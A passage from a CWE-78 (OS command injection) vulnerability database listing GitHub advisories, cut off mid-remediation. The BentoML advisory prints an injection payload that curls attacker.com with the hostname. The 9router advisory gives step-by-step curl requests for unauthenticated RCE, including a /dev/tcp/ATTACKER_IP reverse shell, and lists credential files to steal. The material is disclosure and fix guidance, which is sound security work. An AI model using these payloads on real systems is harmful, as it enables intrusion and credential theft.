CWE-78
AllowedImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
8421 vulnerabilities reference this CWE, most recent first.
GHSA-FGV4-6JR3-JGFW
Vulnerability from github – Published: 2026-04-03 22:03 – Updated: 2026-06-08 20:04Commit ce53491 (March 24) fixed command injection via system_packages in Dockerfile templates and images.py by adding shlex.quote. However, the cloud deployment path in src/bentoml/_internal/cloud/deployment.py was not included in the fix. Line 1648 interpolates system_packages directly into a shell command using an f-string without any quoting.
The generated script is uploaded to BentoCloud as setup.sh and executed on the cloud build infrastructure during deployment, making this a remote code execution on the CI/CD tier.
Details
Fixed paths (commit ce53491):
- src/_bentoml_sdk/images.py:88 - added shlex.quote(package)
- src/bentoml/_internal/bento/build_config.py:505 - added bash_quote Jinja2 filter
- Jinja2 templates: base_debian.j2, base_alpine.j2, etc.
Unfixed path:
src/bentoml/_internal/cloud/deployment.py, line 1648:
def _build_setup_script(bento_dir: str, image: Image | None) -> bytes:
content = b""
config = BentoBuildConfig.from_bento_dir(bento_dir)
if config.docker.system_packages:
content += f"apt-get update && apt-get install -y {' '.join(config.docker.system_packages)} || exit 1\n".encode()
system_packages values from bentofile.yaml are joined with spaces and interpolated directly into the apt-get install command. No shlex.quote.
Remote execution confirmed:
- Line 905: setup_script = _build_setup_script(bento_dir, svc.image) in _init_deployment_files
- Line 908: upload_files.append(("setup.sh", setup_script)) uploads to BentoCloud
- Line 914: self.upload_files(upload_files, ...) sends to the remote deployment
- The script runs on the cloud build infrastructure during container setup
Second caller at line 1068: _build_setup_script is also called during Deployment.watch() for dev mode hot-reload deployments.
Proof of Concept
bentofile.yaml:
service: "service:svc"
docker:
system_packages:
- "curl"
- "jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}#"
Generated setup.sh:
apt-get update && apt-get install -y curl jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}# || exit 1
The semicolon terminates the apt-get command. ${IFS} is used for spaces (works in bash, avoids YAML parsing issues). The # comments out the trailing || exit 1. The injected curl exfiltrates the hostname of the build infrastructure to the attacker.
Impact
A malicious bentofile.yaml achieves remote code execution on BentoCloud's build infrastructure (or enterprise Yatai/Kubernetes build nodes) during deployment. Attack scenarios:
- Supply chain: A shared Bento from a public model hub contains a poisoned
bentofile.yaml. When deployed to BentoCloud, the injected command runs on the build infrastructure. - Insider threat: A data scientist with deploy permissions injects commands into
system_packagesto exfiltrate secrets from the build environment (cloud credentials, API keys, other tenants' data). - CI/CD compromise: The build infrastructure typically has access to container registries, artifact storage, and deployment APIs, making this a pivot point for broader infrastructure compromise.
Local Reproduction Steps
Tested and confirmed on Ubuntu with BentoML source at commit 0772581.
Step 1: Create a directory with a malicious bentofile.yaml:
mkdir /tmp/bento-pwn
cat > /tmp/bento-pwn/bentofile.yaml << 'EOF'
service: "service:svc"
docker:
system_packages:
- "curl"
- "jq; touch /tmp/PWNED_BY_INJECTION #"
EOF
Step 2: Generate the setup script using the vulnerable code path (extracted from deployment.py:1648):
python3 -c "
import yaml
with open('/tmp/bento-pwn/bentofile.yaml') as f:
config = yaml.safe_load(f)
pkgs = config['docker']['system_packages']
script = f\"apt-get update && apt-get install -y {' '.join(pkgs)} || exit 1\n\"
print('Generated setup.sh:')
print(script)
with open('/tmp/bento-pwn/setup.sh', 'w') as f:
f.write(script)
"
Step 3: Execute and verify:
rm -f /tmp/PWNED_BY_INJECTION
bash /tmp/bento-pwn/setup.sh
ls -la /tmp/PWNED_BY_INJECTION
Result: /tmp/PWNED_BY_INJECTION is created, confirming the injected touch command executed. The semicolon broke out of apt-get install, the injected command ran, and # commented out the error handler.
Generated setup.sh content:
apt-get update && apt-get install -y curl jq; touch /tmp/PWNED_BY_INJECTION # || exit 1
For comparison, the fixed version (with shlex.quote) would generate:
apt-get update && apt-get install -y curl 'jq; touch /tmp/PWNED_BY_INJECTION #' || exit 1
The single quotes from shlex.quote neutralize the semicolon and hash, treating the entire string as a literal package name argument to apt-get.
Suggested Fix
Apply shlex.quote to each package name, matching the fix in images.py:
if config.docker.system_packages:
quoted = ' '.join(shlex.quote(p) for p in config.docker.system_packages)
content += f"apt-get update && apt-get install -y {quoted} || exit 1\n".encode()
— Koda Reef
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.4.37"
},
"package": {
"ecosystem": "PyPI",
"name": "bentoml"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.38"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35043"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-03T22:03:22Z",
"nvd_published_at": "2026-04-06T18:16:41Z",
"severity": "HIGH"
},
"details": "Commit ce53491 (March 24) fixed command injection via `system_packages` in Dockerfile templates and `images.py` by adding `shlex.quote`. However, the cloud deployment path in `src/bentoml/_internal/cloud/deployment.py` was not included in the fix. Line 1648 interpolates `system_packages` directly into a shell command using an f-string without any quoting.\n\nThe generated script is uploaded to BentoCloud as `setup.sh` and executed on the cloud build infrastructure during deployment, making this a remote code execution on the CI/CD tier.\n\n## Details\n\n**Fixed paths (commit ce53491):**\n- `src/_bentoml_sdk/images.py:88` - added `shlex.quote(package)`\n- `src/bentoml/_internal/bento/build_config.py:505` - added `bash_quote` Jinja2 filter\n- Jinja2 templates: `base_debian.j2`, `base_alpine.j2`, etc.\n\n**Unfixed path:**\n\n`src/bentoml/_internal/cloud/deployment.py`, line 1648:\n\n def _build_setup_script(bento_dir: str, image: Image | None) -\u003e bytes:\n content = b\"\"\n config = BentoBuildConfig.from_bento_dir(bento_dir)\n if config.docker.system_packages:\n content += f\"apt-get update \u0026\u0026 apt-get install -y {\u0027 \u0027.join(config.docker.system_packages)} || exit 1\\n\".encode()\n\n`system_packages` values from `bentofile.yaml` are joined with spaces and interpolated directly into the `apt-get install` command. No `shlex.quote`.\n\n**Remote execution confirmed:**\n- Line 905: `setup_script = _build_setup_script(bento_dir, svc.image)` in `_init_deployment_files`\n- Line 908: `upload_files.append((\"setup.sh\", setup_script))` uploads to BentoCloud\n- Line 914: `self.upload_files(upload_files, ...)` sends to the remote deployment\n- The script runs on the cloud build infrastructure during container setup\n\n**Second caller at line 1068:** `_build_setup_script` is also called during `Deployment.watch()` for dev mode hot-reload deployments.\n\n## Proof of Concept\n\nbentofile.yaml:\n\n service: \"service:svc\"\n docker:\n system_packages:\n - \"curl\"\n - \"jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}#\"\n\nGenerated setup.sh:\n\n apt-get update \u0026\u0026 apt-get install -y curl jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}# || exit 1\n\nThe semicolon terminates the `apt-get` command. `${IFS}` is used for spaces (works in bash, avoids YAML parsing issues). The `#` comments out the trailing `|| exit 1`. The injected `curl` exfiltrates the hostname of the build infrastructure to the attacker.\n\n## Impact\n\nA malicious `bentofile.yaml` achieves remote code execution on BentoCloud\u0027s build infrastructure (or enterprise Yatai/Kubernetes build nodes) during deployment. Attack scenarios:\n\n1. **Supply chain:** A shared Bento from a public model hub contains a poisoned `bentofile.yaml`. When deployed to BentoCloud, the injected command runs on the build infrastructure.\n2. **Insider threat:** A data scientist with deploy permissions injects commands into `system_packages` to exfiltrate secrets from the build environment (cloud credentials, API keys, other tenants\u0027 data).\n3. **CI/CD compromise:** The build infrastructure typically has access to container registries, artifact storage, and deployment APIs, making this a pivot point for broader infrastructure compromise.\n\n## Local Reproduction Steps\n\nTested and confirmed on Ubuntu with BentoML source at commit 0772581.\n\nStep 1: Create a directory with a malicious bentofile.yaml:\n\n mkdir /tmp/bento-pwn\n cat \u003e /tmp/bento-pwn/bentofile.yaml \u003c\u003c \u0027EOF\u0027\n service: \"service:svc\"\n docker:\n system_packages:\n - \"curl\"\n - \"jq; touch /tmp/PWNED_BY_INJECTION #\"\n EOF\n\nStep 2: Generate the setup script using the vulnerable code path (extracted from deployment.py:1648):\n\n python3 -c \"\n import yaml\n with open(\u0027/tmp/bento-pwn/bentofile.yaml\u0027) as f:\n config = yaml.safe_load(f)\n pkgs = config[\u0027docker\u0027][\u0027system_packages\u0027]\n script = f\\\"apt-get update \u0026\u0026 apt-get install -y {\u0027 \u0027.join(pkgs)} || exit 1\\n\\\"\n print(\u0027Generated setup.sh:\u0027)\n print(script)\n with open(\u0027/tmp/bento-pwn/setup.sh\u0027, \u0027w\u0027) as f:\n f.write(script)\n \"\n\nStep 3: Execute and verify:\n\n rm -f /tmp/PWNED_BY_INJECTION\n bash /tmp/bento-pwn/setup.sh\n ls -la /tmp/PWNED_BY_INJECTION\n\nResult: `/tmp/PWNED_BY_INJECTION` is created, confirming the injected `touch` command executed. The semicolon broke out of `apt-get install`, the injected command ran, and `#` commented out the error handler.\n\nGenerated setup.sh content:\n\n apt-get update \u0026\u0026 apt-get install -y curl jq; touch /tmp/PWNED_BY_INJECTION # || exit 1\n\nFor comparison, the fixed version (with shlex.quote) would generate:\n\n apt-get update \u0026\u0026 apt-get install -y curl \u0027jq; touch /tmp/PWNED_BY_INJECTION #\u0027 || exit 1\n\nThe single quotes from shlex.quote neutralize the semicolon and hash, treating the entire string as a literal package name argument to apt-get.\n\n## Suggested Fix\n\nApply `shlex.quote` to each package name, matching the fix in `images.py`:\n\n if config.docker.system_packages:\n quoted = \u0027 \u0027.join(shlex.quote(p) for p in config.docker.system_packages)\n content += f\"apt-get update \u0026\u0026 apt-get install -y {quoted} || exit 1\\n\".encode()\n\n\u2014 Koda Reef",
"id": "GHSA-fgv4-6jr3-jgfw",
"modified": "2026-06-08T20:04:34Z",
"published": "2026-04-03T22:03:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/bentoml/BentoML/security/advisories/GHSA-fgv4-6jr3-jgfw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33744"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35043"
},
{
"type": "PACKAGE",
"url": "https://github.com/bentoml/BentoML"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/bentoml/PYSEC-2026-158.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "BentoML: Command Injection in cloud deployment setup script"
}
GHSA-FGV5-WPPJ-FJXH
Vulnerability from github – Published: 2024-04-26 18:33 – Updated: 2024-07-03 18:37D-Link DIR-822+ V1.0.5 was found to contain a command injection in ChgSambaUserSettings function of prog.cgi, which allows remote attackers to execute arbitrary commands via shell.
{
"affected": [],
"aliases": [
"CVE-2024-33343"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-26T18:15:46Z",
"severity": "HIGH"
},
"details": "D-Link DIR-822+ V1.0.5 was found to contain a command injection in ChgSambaUserSettings function of prog.cgi, which allows remote attackers to execute arbitrary commands via shell.",
"id": "GHSA-fgv5-wppj-fjxh",
"modified": "2024-07-03T18:37:05Z",
"published": "2024-04-26T18:33:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-33343"
},
{
"type": "WEB",
"url": "https://github.com/n0wstr/IOTVuln/tree/main/DIR-822%2B/ChgSambaUserSettings"
},
{
"type": "WEB",
"url": "http://www.dlink.com.cn/techsupport/ProductInfo.aspx?m=DIR-822%2B"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FH2W-2C26-VPG5
Vulnerability from github – Published: 2026-03-26 15:30 – Updated: 2026-06-30 03:36A flaw was found in Foreman. A remote attacker could exploit a command injection vulnerability in Foreman's WebSocket proxy implementation. This vulnerability arises from the system's use of unsanitized hostname values from compute resource providers when constructing shell commands. By operating a malicious compute resource server, an attacker could achieve remote code execution on the Foreman server when a user accesses VM VNC console functionality. This could lead to the compromise of sensitive credentials and the entire managed infrastructure.
{
"affected": [],
"aliases": [
"CVE-2026-1961"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-26T13:16:27Z",
"severity": "HIGH"
},
"details": "A flaw was found in Foreman. A remote attacker could exploit a command injection vulnerability in Foreman\u0027s WebSocket proxy implementation. This vulnerability arises from the system\u0027s use of unsanitized hostname values from compute resource providers when constructing shell commands. By operating a malicious compute resource server, an attacker could achieve remote code execution on the Foreman server when a user accesses VM VNC console functionality. This could lead to the compromise of sensitive credentials and the entire managed infrastructure.",
"id": "GHSA-fh2w-2c26-vpg5",
"modified": "2026-06-30T03:36:01Z",
"published": "2026-03-26T15:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1961"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:5968"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:5970"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:5971"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-1961"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2437036"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-1961.json"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/03/27/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FH65-MW6Q-C8VH
Vulnerability from github – Published: 2026-07-03 15:31 – Updated: 2026-07-03 15:31Dell PowerProtect Data Domain, versions 7.7.1.0 through 8.7, LTS2026 release version 8.6.1.0 through 8.6.1.10, LTS2025 release version 8.3.1.0 through 8.3.1.30, LTS2024 release versions 7.13.1.0 through 7.13.1.70 contain an improper neutralization of special Elements used in an OS command ('OS command Injection') vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to command execution.
{
"affected": [],
"aliases": [
"CVE-2026-26355"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-03T13:17:02Z",
"severity": "MODERATE"
},
"details": "Dell PowerProtect Data Domain, versions 7.7.1.0 through 8.7, LTS2026 release version 8.6.1.0 through 8.6.1.10, LTS2025 release version 8.3.1.0 through 8.3.1.30, LTS2024 release versions 7.13.1.0 through 7.13.1.70 contain an improper neutralization of special Elements used in an OS command (\u0027OS command Injection\u0027) vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to command execution.",
"id": "GHSA-fh65-mw6q-c8vh",
"modified": "2026-07-03T15:31:56Z",
"published": "2026-07-03T15:31:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26355"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000481268/dsa-2026-278-security-update-for-dell-powerprotect-data-domain-multiple-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FH7G-QHWG-V6F8
Vulnerability from github – Published: 2022-01-16 00:00 – Updated: 2022-01-22 00:01The files_antivirus component before 1.0.0 for ownCloud allows OS Command Injection via the administration settings.
{
"affected": [],
"aliases": [
"CVE-2021-33827"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-01-15T21:15:00Z",
"severity": "HIGH"
},
"details": "The files_antivirus component before 1.0.0 for ownCloud allows OS Command Injection via the administration settings.",
"id": "GHSA-fh7g-qhwg-v6f8",
"modified": "2022-01-22T00:01:43Z",
"published": "2022-01-16T00:00:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33827"
},
{
"type": "WEB",
"url": "https://doc.owncloud.com/server/admin_manual/release_notes.html"
},
{
"type": "WEB",
"url": "https://owncloud.com/security-advisories/cve-2021-33827"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-FH7X-M234-3VG3
Vulnerability from github – Published: 2025-07-10 21:31 – Updated: 2025-07-10 21:31An OS command injection vulnerability exists in Mako Server versions 2.5 and 2.6, specifically within the tutorial interface provided by the examples/save.lsp endpoint. An unauthenticated attacker can send a crafted PUT request containing arbitrary Lua os.execute() code, which is then persisted on disk and triggered via a subsequent GET request to examples/manage.lsp. This allows remote command execution on the underlying operating system, impacting both Windows and Unix-based deployments.
{
"affected": [],
"aliases": [
"CVE-2025-34095"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-10T20:15:24Z",
"severity": "CRITICAL"
},
"details": "An OS command injection vulnerability exists in Mako Server versions 2.5 and 2.6, specifically within the tutorial interface provided by the examples/save.lsp endpoint. An unauthenticated attacker can send a crafted PUT request containing arbitrary Lua os.execute() code, which is then persisted on disk and triggered via a subsequent GET request to examples/manage.lsp. This allows remote command execution on the underlying operating system, impacting both Windows and Unix-based deployments.",
"id": "GHSA-fh7x-m234-3vg3",
"modified": "2025-07-10T21:31:53Z",
"published": "2025-07-10T21:31:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-34095"
},
{
"type": "WEB",
"url": "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/multi/http/makoserver_cmd_exec.rb"
},
{
"type": "WEB",
"url": "https://vulncheck/advisories/mako-server-rce"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/43132"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-FH8G-8Q9X-XP22
Vulnerability from github – Published: 2022-05-24 19:03 – Updated: 2022-05-24 19:03Certain NETGEAR devices are affected by command injection by an unauthenticated attacker via the vulnerable /sqfs/lib/libsal.so.0.0 library used by a CGI application, as demonstrated by setup.cgi?token=';$HTTP_USER_AGENT;' with an OS command in the User-Agent field. This affects GC108P before 1.0.7.3, GC108PP before 1.0.7.3, GS108Tv3 before 7.0.6.3, GS110TPPv1 before 7.0.6.3, GS110TPv3 before 7.0.6.3, GS110TUPv1 before 1.0.4.3, GS710TUPv1 before 1.0.4.3, GS716TP before 1.0.2.3, GS716TPP before 1.0.2.3, GS724TPPv1 before 2.0.4.3, GS724TPv2 before 2.0.4.3, GS728TPPv2 before 6.0.6.3, GS728TPv2 before 6.0.6.3, GS752TPPv1 before 6.0.6.3, GS752TPv2 before 6.0.6.3, MS510TXM before 1.0.2.3, and MS510TXUP before 1.0.2.3.
{
"affected": [],
"aliases": [
"CVE-2021-33514"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-05-21T23:15:00Z",
"severity": "CRITICAL"
},
"details": "Certain NETGEAR devices are affected by command injection by an unauthenticated attacker via the vulnerable /sqfs/lib/libsal.so.0.0 library used by a CGI application, as demonstrated by setup.cgi?token=\u0027;$HTTP_USER_AGENT;\u0027 with an OS command in the User-Agent field. This affects GC108P before 1.0.7.3, GC108PP before 1.0.7.3, GS108Tv3 before 7.0.6.3, GS110TPPv1 before 7.0.6.3, GS110TPv3 before 7.0.6.3, GS110TUPv1 before 1.0.4.3, GS710TUPv1 before 1.0.4.3, GS716TP before 1.0.2.3, GS716TPP before 1.0.2.3, GS724TPPv1 before 2.0.4.3, GS724TPv2 before 2.0.4.3, GS728TPPv2 before 6.0.6.3, GS728TPv2 before 6.0.6.3, GS752TPPv1 before 6.0.6.3, GS752TPv2 before 6.0.6.3, MS510TXM before 1.0.2.3, and MS510TXUP before 1.0.2.3.",
"id": "GHSA-fh8g-8q9x-xp22",
"modified": "2022-05-24T19:03:01Z",
"published": "2022-05-24T19:03:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33514"
},
{
"type": "WEB",
"url": "https://gynvael.coldwind.pl/?lang=en\u0026id=733"
},
{
"type": "WEB",
"url": "https://kb.netgear.com/000063641/Security-Advisory-for-Pre-Authentication-Command-Injection-Vulnerability-on-Some-Smart-Switches-PSV-2021-0071"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-FH92-WM8W-XPMM
Vulnerability from github – Published: 2022-05-13 01:50 – Updated: 2022-05-13 01:50The web management console of Opsview Monitor 5.4.x before 5.4.2 provides functionality accessible by an authenticated administrator to test notifications that are triggered under certain configurable events. The value parameter is not properly sanitized, leading to arbitrary command injection with the privileges of the nagios user account.
{
"affected": [],
"aliases": [
"CVE-2018-16146"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-09-05T21:29:00Z",
"severity": "HIGH"
},
"details": "The web management console of Opsview Monitor 5.4.x before 5.4.2 provides functionality accessible by an authenticated administrator to test notifications that are triggered under certain configurable events. The value parameter is not properly sanitized, leading to arbitrary command injection with the privileges of the nagios user account.",
"id": "GHSA-fh92-wm8w-xpmm",
"modified": "2022-05-13T01:50:17Z",
"published": "2022-05-13T01:50:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-16146"
},
{
"type": "WEB",
"url": "https://knowledge.opsview.com/v5.4/docs/whats-new"
},
{
"type": "WEB",
"url": "https://seclists.org/fulldisclosure/2018/Sep/3"
},
{
"type": "WEB",
"url": "https://www.coresecurity.com/advisories/opsview-monitor-multiple-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FH9M-3RMH-FFG9
Vulnerability from github – Published: 2026-01-23 21:30 – Updated: 2026-01-26 18:31An OS command injection vulnerability in the com.sprd.engineermode component in Doogee Note59, Note59 Pro, and Note59 Pro+ allows a local attacker to execute arbitrary code and escalate privileges via the EngineerMode ADB shell, due to incomplete patching of CVE-2025-31710
{
"affected": [],
"aliases": [
"CVE-2025-67264"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-23T20:15:53Z",
"severity": "HIGH"
},
"details": "An OS command injection vulnerability in the com.sprd.engineermode component in Doogee Note59, Note59 Pro, and Note59 Pro+ allows a local attacker to execute arbitrary code and escalate privileges via the EngineerMode ADB shell, due to incomplete patching of CVE-2025-31710",
"id": "GHSA-fh9m-3rmh-ffg9",
"modified": "2026-01-26T18:31:28Z",
"published": "2026-01-23T21:30:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67264"
},
{
"type": "WEB",
"url": "https://github.com/Skorpion96/unisoc-su/blob/main/CVE-2025-67264.md"
},
{
"type": "WEB",
"url": "http://doogee.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FHH6-4QXV-RPQJ
Vulnerability from github – Published: 2026-05-19 19:22 – Updated: 2026-05-19 19:22Summary
9router exposes two unauthenticated API endpoints that, when chained together, allow any network-adjacent attacker to execute arbitrary OS commands as the user running the 9router process — with zero prerequisites and no credentials required.
The vulnerability exists because the Next.js middleware that enforces authentication (src/proxy.js) only guards 8 explicitly listed routes. The attack surface of /api/cli-tools/* and /api/mcp/* (40+ routes) receives no authentication whatsoever.
Root Cause
1. Middleware Allowlist Is Too Narrow
File: src/proxy.js
export const config = {
matcher: [
"/",
"/dashboard/:path*",
"/api/shutdown",
"/api/settings/:path*",
"/api/keys",
"/api/keys/:path*",
"/api/providers/client",
"/api/provider-nodes/validate",
],
};
Next.js middleware only runs on routes matching this list. Routes NOT listed — including /api/cli-tools/* and /api/mcp/* — bypass the dashboardGuard auth check entirely.
2. Unguarded Endpoint Accepts Arbitrary Command Registration
File: src/app/api/cli-tools/cowork-settings/route.js, lines 292–319
export async function POST(request) {
const { baseUrl, apiKey, models, plugins, localPlugins, customPlugins } = await request.json();
// ...
const customPluginsArray = Array.isArray(customPlugins) ? customPlugins : [];
if (customPluginsArray.length > 0) {
const { registerCustomPlugin } = require("@/lib/mcp/stdioSseBridge");
const stdioCustoms = customPluginsArray
.filter((p) => p.command)
.map((p) => ({
name: p.name,
command: p.command, // ← attacker-controlled, no validation
args: p.args || [], // ← attacker-controlled, no validation
}));
for (const p of stdioCustoms) registerCustomPlugin(p); // stores in globalThis
}
}
The command and args fields from the attacker's JSON are stored verbatim into globalThis.__9routerCustomPlugins — a process-global Map that survives Hot Module Replacement.
File: src/lib/mcp/stdioSseBridge.js, lines 114–116
function registerCustomPlugin(def) {
getCustomStore().set(def.name, def); // no validation of command/args
}
3. Unguarded SSE Endpoint Triggers spawn() with Stored Command
File: src/app/api/mcp/[plugin]/sse/route.js, lines 6–25
export async function GET(request, { params }) {
const { plugin } = await params;
if (!findPlugin(plugin)) return new Response(`Unknown plugin: ${plugin}`, { status: 404 });
const stream = new ReadableStream({
start(controller) {
sid = registerSession(plugin, send); // ← spawn() called here
},
});
return new Response(stream, { ... });
}
File: src/lib/mcp/stdioSseBridge.js, line 138
const proc = spawn(plugin.command, plugin.args, {
stdio: ["pipe", "pipe", "pipe"],
env: process.env, // inherits full environment
});
spawn() is called with shell: false (default), but since the attacker controls both plugin.command (the binary path) and plugin.args, this is equivalent to arbitrary command execution.
Attack Chain
Attacker (no credentials)
│
│ Step 1 — Register malicious plugin (POST, no auth)
▼
POST /api/cli-tools/cowork-settings
Content-Type: application/json
{
"baseUrl": "x", "apiKey": "x", "models": ["x"],
"customPlugins": [{
"name": "rev",
"command": "/bin/bash",
"args": ["-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"]
}]
}
← {"success":true, ...}
│ Step 2 — Trigger spawn() via SSE endpoint (GET, no auth)
▼
GET /api/mcp/rev/sse
← SSE stream opens → spawn("/bin/bash", ["-c", "bash -i >& /dev/tcp/..."])
← Reverse shell connects to attacker
Time to exploit from first request: < 2 seconds.
Prerequisites: Network access to port 20128 (Docker default: 0.0.0.0:20128).
Proof of Concept
PoC 1 — File Write (no listener required)
# Step 1: Register payload
curl -X POST "http://TARGET:20128/api/cli-tools/cowork-settings" \
-H 'Content-Type: application/json' \
-d '{
"baseUrl":"x","apiKey":"x","models":["x"],
"customPlugins":[{
"name":"rce1",
"command":"/bin/sh",
"args":["-c","{ id; whoami; hostname; uname -a; } > /tmp/pwned.txt"]
}]
}'
# → {"success":true,...}
# Step 2: Trigger
curl -N --max-time 3 "http://TARGET:20128/api/mcp/rce1/sse" >/dev/null 2>&1
# Verify
cat /tmp/pwned.txt
Observed output (on local test instance):
uid=1000(sondt23) gid=1000(sondt23) groups=...,983(docker),984(ollama)
sondt23
VSOC-sondt23-L
Linux VSOC-sondt23-L 6.17.0-23-generic ... x86_64 GNU/Linux
PoC 2 — Automated PoC script
# File write mode (for report)
python3 poc.py --target http://TARGET:20128 --mode file
# Reverse shell mode (interactive)
python3 poc.py --target http://TARGET:20128 --mode shell --lhost ATTACKER_IP --lport 4444
The script (poc.py) is included in this advisory.
Impact
| Category | Detail |
|---|---|
| Confidentiality | Full read access to server filesystem — API keys, TLS private keys, ~/.claude/settings.json (Anthropic tokens), AWS credentials |
| Integrity | Arbitrary file write, persistence via cron/systemd |
| Availability | Process termination, resource exhaustion |
| Lateral movement | docker group membership (confirmed in test) allows full container escape → host root |
| Scope | Remote, unauthenticated, network-accessible |
High-value exfiltration targets on a typical 9router host
~/.claude/settings.json—ANTHROPIC_AUTH_TOKEN~/.aws/credentials,~/.aws/sso/cache/*.json— AWS keys$DATA_DIR/db.sqlite— 9router local database (all stored API keys, provider configs)- TLS private keys managed by the MITM proxy (
src/mitm/)
Affected Versions
| Version | Affected | Notes |
|---|---|---|
| < v0.4.30 | No | cowork-settings and MCP SSE bridge did not exist |
| v0.4.30 | Yes | Introduced in commit 8f4d29c (2026-05-11) |
| v0.4.31 | Yes | |
| v0.4.32 | Yes | |
| v0.4.33 | Yes | Latest at time of disclosure |
The vulnerability was introduced when the MCP stdio→SSE bridge feature was added in v0.4.30. The middleware matcher was not updated to protect the new routes.
Remediation
Fix 1 — Extend middleware matcher (minimal fix)
File: src/proxy.js
export const config = {
matcher: [
"/",
"/dashboard/:path*",
"/api/shutdown",
"/api/settings/:path*",
"/api/keys",
"/api/keys/:path*",
"/api/providers/client",
"/api/provider-nodes/validate",
// ADD these:
